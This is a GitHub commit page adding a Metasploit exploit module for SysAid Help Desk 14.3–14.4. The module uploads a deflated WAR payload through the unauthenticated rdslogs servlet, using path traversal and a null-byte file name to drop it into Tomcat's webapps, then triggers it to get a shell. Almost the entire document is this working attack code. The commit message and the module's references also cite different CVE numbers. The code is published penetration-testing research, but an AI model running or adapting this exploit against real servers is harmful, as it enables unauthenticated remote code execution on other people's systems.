Skip to content

Commit 4e6b00f

Browse files
committed
Land rapid7#5473, @pedrib's exploit for Sysaid CVE-2015-2994
* sysaid rdslogs arbitrary file upload
2 parents 869ac87 + 00adbd7 commit 4e6b00f

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'zlib'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload",
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
20+
The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
21+
file uploads and handles zip file contents in a insecure way. Combining both weaknesses
22+
a remote attacker can accomplish remote code execution. Note that this will only work if the
23+
target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduce a protection
24+
against null byte injection in file names. This module has been tested successfully on version
25+
v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid
26+
seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability
27+
from being exploited.
28+
},
29+
'Author' =>
30+
[
31+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'CVE', '2015-2995' ],
37+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
38+
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
39+
],
40+
'DefaultOptions' => { 'WfsDelay' => 30 },
41+
'Privileged' => false,
42+
'Platform' => 'java',
43+
'Arch' => ARCH_JAVA,
44+
'Targets' =>
45+
[
46+
[ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Jun 3 2015'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(8080),
54+
OptInt.new('SLEEP',
55+
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
56+
OptString.new('TARGETURI',
57+
[true, 'Base path to the SysAid application', '/sysaid/'])
58+
], self.class)
59+
end
60+
61+
62+
def check
63+
servlet_path = 'rdslogs'
64+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
65+
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
68+
'method' => 'POST',
69+
'vars_get' => {
70+
'rdsName' => bogus_file
71+
}
72+
})
73+
74+
if res && res.code == 200
75+
return Exploit::CheckCode::Detected
76+
end
77+
end
78+
79+
80+
def exploit
81+
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
82+
tomcat_path = '../../../../'
83+
servlet_path = 'rdslogs'
84+
85+
# We need to create the upload directories before our first attempt to upload the WAR.
86+
print_status("#{peer} - Creating upload directory")
87+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
88+
send_request_cgi({
89+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
90+
'method' => 'POST',
91+
'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
92+
'ctype' => 'application/xml',
93+
'vars_get' => {
94+
'rdsName' => bogus_file
95+
}
96+
})
97+
98+
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
99+
100+
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
101+
print_status("#{peer} - Uploading WAR file...")
102+
res = send_request_cgi({
103+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
104+
'method' => 'POST',
105+
'data' => Zlib::Deflate.deflate(war_payload),
106+
'ctype' => 'application/octet-stream',
107+
'vars_get' => {
108+
'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00"
109+
}
110+
})
111+
112+
# The server either returns a 200 OK when the upload is successful.
113+
if res && res.code == 200
114+
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
115+
register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
116+
else
117+
fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
118+
end
119+
120+
10.times do
121+
select(nil, nil, nil, 2)
122+
123+
# Now make a request to trigger the newly deployed war
124+
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
125+
res = send_request_cgi({
126+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
127+
'method' => 'GET'
128+
})
129+
# Failure. The request timed out or the server went away.
130+
break if res.nil?
131+
# Success! Triggered the payload, should have a shell incoming
132+
break if res.code == 200
133+
end
134+
end
135+
end

0 commit comments

Comments
 (0)